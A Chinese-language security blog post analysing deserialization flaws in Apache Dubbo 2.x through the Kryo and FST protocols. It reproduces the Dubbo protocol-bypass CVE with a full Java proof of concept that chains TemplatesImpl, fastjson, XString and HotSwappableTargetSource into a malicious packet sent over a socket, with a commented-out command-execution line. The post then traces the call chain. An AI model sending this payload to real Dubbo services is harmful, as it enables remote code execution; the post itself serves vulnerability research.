Dubbo的反序列化安全问题——kryo和fst
0 前言
本篇是Dubbo反序列化安全问题的学习和研究第二篇,来看看Dubbo2.x下,由于dubbo的数据包协议设计安全问题,导致攻击者可以选定危险的反序列化协议从而实现RCE,复现漏洞为CVE-2021-45641 Apache Dubbo协议绕过漏洞
1 Dubbo的协议设计
由于Dubbo可以支持很多类型的反序列化协议,以满足不同系统对RPC的需求,比如
- 跨语言的序列化协议:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
- 针对Java语言的序列化方式:Kryo,FST
- 基于Json文本形式的反序列化方式:Json、Gson
Dubbo中对支持的协议做了一个编号,每个序列化协议都有一个对应的编号,以便在获取TCP流量后,根据编号选择相应的反序列化方法,因此这就是Dubbo支持这么多序列化协议的秘密,但同时也是危险所在。在org.apache.dubbo.common.serialize.Constants
中可见每种序列化协议的编号
而在Dubbo的RPC通信时,对流量的规定最前方为header,而header中通过指定SerializationID,确定客户端和服务提供端通信过程使用的序列化协议。Dubbo通信的具体数据包规定如下图所示
虽然Dubbo的provider默认使用hessian2协议,但我们可以自由的修改SerializationID,选定危险的(反)序列化协议,例如kryo和fst。
2 Dubbo中的kryo序列化协议触发点
先来复现CVE-2021-45641,根据上一篇文章的步骤(https://www.cnblogs.com/bitterz/p/15526206.html),安装zookeeper和dubbo-samples,用idea打开dubbo-samples-api,然后修改其中的pom.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
主要是使dubbo版本<=2.7.3,直接上代码,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]
package com.bitterz.dubbo;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstSerialization;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.util.HashMap;
import java.util.HashSet;
public class FstAndKryoGadget {
// Customize URL for remote targets
public static String DUBBO_HOST_NAME = "localhost";
public static int DUBBO_HOST_PORT = 20880;
//Exploit variant - comment to switch exploit variants
public static String EXPLOIT_VARIANT = "Kryo";
// public static String EXPLOIT_VARIANT = "FST";
// Magic header from ExchangeCodec
protected static final short MAGIC = (short) 0xdabb;
protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
// Message flags from ExchangeCodec
protected static final byte FLAG_REQUEST = (byte) 0x80;
protected static final byte FLAG_TWOWAY = (byte) 0x40;
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
member.setAccessible(true);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = new ClassPool(true);
CtClass evilClass = pool.makeClass("EvilClass");
evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 让dubbo provider端报错显示调用链,或者弹计算器
evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClassBytes = evilClass.toBytecode();
// 构建templates关键属性,特别是_bytecodes
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// Dubbo自带fastJson解析器,且这种情况下会自动调用对象的getter方法,从而触发TemplatesImpl.getOutputProperties()
JSONObject jo = new JSONObject();
jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
// 借助Xstring.equals调用到JSON.toString方法
XString x = new XString("HEYO");
Object v1 = new HotSwappableTargetSource(jo);
Object v2 = new HotSwappableTargetSource(x);
// 取消下面三行注释,增加new hashMap的注释,并将后方objectOutput.writeObject(hashMap)修改为hashSet,从而替换调用链
// HashSet hashSet = new HashSet();
// Field m = getField(HashSet.class, "map");
// HashMap hashMap = (HashMap) m.get(hashSet);
HashMap<Object, Object> hashMap = new HashMap<>();
// 反射修改hashMap中的属性,让其保存v1 和 v2,避免本地调用hashMap.put触发payload
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(hashMap, "table", tbl);
// 开始准备字节流
ByteArrayOutputStream bos = new ByteArrayOutputStream();
// 选择FST或者Kryo协议进行序列化
Serialization s;
ObjectOutput objectOutput;
switch(EXPLOIT_VARIANT) {
case "FST":
s = new FstSerialization();
objectOutput = new FstObjectOutput(bos);
break;
case "Kryo":
default:
s = new KryoSerialization();
objectOutput = new KryoObjectOutput(bos);
break;
}
// 0xc2 is Hessian2 + two-way + Request serialization
// Kryo | two-way | Request is 0xc8 on third byte
// FST | two-way | Request is 0xc9 on third byte
// 组装数据包的头部
byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
bos.write(header);
// 组装数据包的内容
RpcInvocation ri = new RpcInvocation();
ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
//ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// 需要根据dubbo存在的服务添加
ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
// Strings need only satisfy "readUTF" calls until "readObject" is reached
// 下面四个随便输入,无所谓
objectOutput.writeUTF("2.0.1");
objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
objectOutput.writeUTF("0.1.0");
objectOutput.writeUTF("sayello");
// 不能随便输入
objectOutput.writeUTF("Ljava/lang/String;"); //*/
// 序列化恶意对象
objectOutput.writeObject(hashMap);
objectOutput.writeObject(ri.getAttachments());
objectOutput.flushBuffer();
byte[] payload = bos.toByteArray();
int len = payload.length - header.length;
Bytes.int2bytes(len, payload, 12);
// 将数据包用十六进制输出
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println();
}
// 将数据包转换成String输出
System.out.println();
System.out.println(new String(payload));
// 使用TCP发送payload
Socket pingSocket = null;
OutputStream out = null;
try {
pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
out = pingSocket.getOutputStream();
} catch (IOException e) {
return;
}
out.write(payload);
out.flush();
out.close();
pingSocket.close();
System.out.println("Sent!");
}
}
注释给的比较多了,就不详细展开Templates.getOutputProperties()和fastJson自动调用目标getter方法的部分了(其实用报错的的方法可以在provider端看到全部调用链)。运行代码,攻击dubbo provider后,运行前面的代码new java.io.IOException().printStackTrace();
,效果如下
从调用链来看,kryo反序列化时,也是针对不同的对象类型使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一样的操作,调用map.put方法,来看看源代码:
- com.esotericsoftware.kryo.serializers.MapSerializer#read
省略了一部分代码,只关注核心部分,在for循环中,不断反序列化获取key和value,再使用map.put还原对象,而这个map会根据传过来的类型自动创建,也就是说,我们发到provider的HashMap类,在provider中创建了一个空的HashMap对象,也就是这里的map,而后调用HashMap.put方法放入key-value。
在dubbo provider端,给map.put处打断点,进入调试,在map.put处跟进,可见经典的HashMap.put->HashMap.putVal->key.equals(k)(注意此时key和k是HotSwappableTargetSource类的不同实例对象,结合前面的代码,其中key=v2,k=v1,v1.target=XString)
也就是,HotSwappableTargetSource.equals()
由于java中处理&&判断时,如果&&前面的条件结果为false,则不会执行&&符号后面的语句。此时变量other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以执行&&后面的语句。此时结合前面的代码this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此调用的时XString.equals(jo),跟进XString.equals方法
obj2就是我们构造的代码中的JSONObject对象,此时调用JSONObject.toString()方法,进一步跟进,会调用到toJSONString方法
而fastjson的反序列化过程,会自动调用反序列化目标类的所有getter方法,即调用到TemplatesImpl.getOutputProperties方法,从而造成任意代码执行。
因此kryo序列化协议的危险触发点实际上还是来自于Map类型的反序列化会用到Map.put方法,从而调用到equals、hashCode等方法造成RCE。
3 Dubbo中的fst序列化协议触发点
3.1 fst复现
源代码比较多就不一步一步说了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput
的readObject方法,跟进其具体实现方法,到达org.nustaq.serialization.FSTObjectInput
的readObject方法,再进一步跟进可以看到fst也会根据反序列化对象类型选择反序列化器,并调用该反序列化器的instantiate方法,看下截图中的代码
注意这个FSTObjectSerializer类,这是一个接口,看看它的具体实现有哪些
FST跟前面的kryo、hessian2序列化协议差不多,针对不同的类型,在反序列化时通过不同的反序列化器还原出对象。FST协议对Map显然也用了专门的反序列化器,跟进org.nustaq.serialization.serializers.FSTMapSerializer
中的instantiate方法
这代码一看就能抓住重点,for循环中不断反序列化还原出key和value,再用map.put将key和value还原,显然也时HashMap的触发链,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc尝试了一下,发现并没有弹出计算器,又从provider端在上方的代码中调试了一下,发现FST处理Templates对象时,会调用其readObject方法进行还原
上面可以看到provider端并没有还原出_bytecodes属性,不知道具体原因是啥,最后FST序列化协议在Dubbo中的漏洞poc没有复现出来。
3. 2 思路梳理
后面仔细了一下CVE-2021-25641提交者写的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/
里面提到还有不需要fastjson的poc,而且可利用版本更多
具体确认了一下,之所以利用有fastjson达到rce,是因为dubbo<=2.7.3时,fastjson的版本<=1.2.46,那扩展一下的话,还能用通用payload打。
图中说的不依赖fastjson的poc攻击版本更多,但作者没有公开这个poc,自己动手挖了一下,没有发现可以在equals、hashCode、toString方法后面继续接的类(排除fastjson的情况下),待日后大佬们出poc的时候再回来补充一下吧
4 总结
CVE-2021-25641这哥漏洞的攻击性挺强的呀,只要找到provider,在2.7.x这么高版本的情况下都能反序列化攻击,但目前看到的poc都依赖fastjson,祈求师傅们分析一下不依赖fastjson的poc学习一下:)
dubbo 2.x版本为了满足自动化匹配多种序列化协议,设计了dubbo数据包协议,结果其设计缺乏安全验证,产生了如此危险的漏洞。
Dubbo的反序列化安全问题——kryo和fst的更多相关文章
- Dubbo的反序列化安全问题-Hessian2
0 前言 本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题.文章需要RPC.Dubbo.反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞. ...
- 在Dubbo中使用高效的Java序列化(Kryo和FST)
在Dubbo中使用高效的Java序列化(Kryo和FST) 作者:沈理 文档版权:Creative Commons 3.0许可证 署名-禁止演绎 完善中…… TODO 生成可点击的目录 目录 序列化漫 ...
- java序列化框架(protobuf、thrift、kryo、fst、fastjson、Jackson、gson、hessian)性能对比
我们为什么要序列化 举个栗子:下雨天我们要打伞,但是之后我们要把伞折叠起来,方便我们存放.那么运用到我们java中道理是一样的,我们要将数据分解成字节流,以便存储在文件中或在网络上传输,这叫序列 ...
- 序列化与反序列化之Kryo
序列化:把对象转换为字节序列的过程称为对象的序列化. 反序列化:把字节序列恢复为对象的过程称为对象的反序列化. 需要序列化的情况: 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候: 当你想 ...
- 高性能的序列化与反序列化:kryo的简单使用
前言:kryo是个高效的java序列化/反序列化库,目前Twitter.yahoo.Apache.strom等等在使用该技术,比如Apache的spark.hive等大数据领域用的较多. 为什么使用k ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Alibaba-技术专区-Dubbo3总体技术体系介绍及技术指南(目录)
Dubbo3开题简介 如开篇所述,Dubbo 提供了构建云原生微服务业务的一站式解决方案,可以使用 Dubbo 快速定义并发布微服务组 件,同时基于 Dubbo 开箱即用的丰富特性及超强的扩展能力,构 ...
- 分布式RPC框架Dubbo实现服务治理:集成Kryo实现高速序列化,集成Hystrix实现熔断器
Dubbo+Kryo实现高速序列化 Dubbo RPC是Dubbo体系中最核心的一种高性能,高吞吐量的远程调用方式,是一种多路复用的TCP长连接调用: 长连接: 避免每次调用新建TCP连接,提高调用的 ...
- Dubbo + Kryo 实现高速序列化
Dubbo 中的序列化 Dubbo RPC 是 Dubbo 体系中最核心的一种高性能.高吞吐量的远程调用方式,可以称之为多路复用的 TCP 长连接调用: 长连接:避免了每次调用新建 TCP 连接,提高 ...
随机推荐
- 基于Hyperledger Fabric实现ERC721
介绍 超级账本(Hyperledger)项目是首个面向企业应用场景的开源分布式账本平台.由linux基金会牵头,包括 IBM 等 30家初始企业成员共同成立的. 区块链网络主要有三种类型:公共区块链. ...
- CSS绘制三角的小技巧
网页中常见一些三角形,使用css直接画出来就可以,不必做成图片或者字体图标当把一个盒子的高和宽的长度都设置为0,并且分别指定边框样式时,就会得到以下图形: 受此启发,可以知道三角是如何制作的(想要保留 ...
- T-SQL——关于XML类型
目录 0. 将结果集转化为XML格式 1. 列值拼接为字符串 2. 字符串转换为列值 3. 一些说明 参考 志铭-2021年10月23日 10:43:21 0. 将结果集转化为XML格式 测试数据 I ...
- 第一次Alpha Scrum Meeting
本次会议为Alpha阶段第一次Scrum Meeting会议 会议概要 会议时间:2021年4月22日 会议地点:北航Inspiration Space咖啡厅 会议时长:1小时 会议内容简介:本次会议 ...
- 第一次Scrum Metting
日期: 2021年4月23日 会议主要内容: 会议主要各自介绍一下所做任务,讨论了前后端接口定义以及服务器购买和接下来任务分配. 一.进度情况 组员 负责 两日已完成的工作 后两日计划完成的工作 工作 ...
- [Beta]the Agiles Scrum Meeting 5
会议时间:2020.5.19 20:00 1.每个人的工作 今天已完成的工作 成员 已完成的工作 issue yjy 为评测机增加更多评测指标 评测部分增加更多评测指标 tq 为评测机增加更多评测指标 ...
- Luogu P1084 疫情控制 | 二分答案 贪心
题目链接 观察题目,答案明显具有单调性. 因为如果用$x$小时能够控制疫情,那么用$(x+1)$小时也一定能控制疫情. 由此想到二分答案,将问题转换为判断用$x$小时是否能控制疫情. 对于那些在$x$ ...
- hdu 1078 FatMouse and Cheese(记忆搜)
N*N的矩阵,每个格子上有一个值. 老鼠起始在(1,1),每次只能水平着走或垂直着走.且最多只能走K步.且走到的格子里的值必须比上一次呆的格子里的值大. 问老鼠最多收集到多少值. 思路: 记忆搜好写. ...
- hdu 1069 Monkey and Banana(记忆搜)
题意: N(不超过30)种木块,每种木块有长.宽.高x,y,z. 木块A可以搭在木块B上当且仅当A的底面长和宽都分别小于B的顶面的长与宽,即不能有超出B的部分. 问垒起来的"木块塔" ...
- JAVA笔记13__创建线程/线程休眠/等待线程终止/线程中断/守护线程
/** * 线程:是进程的一个执行路径,共享一个内存空间,线程之间可以自由切换,并发执行,一个进程最少有一个进程(单线程程序) * 多线程两种实现方法:1.继承Thread类 2.实现Runnable ...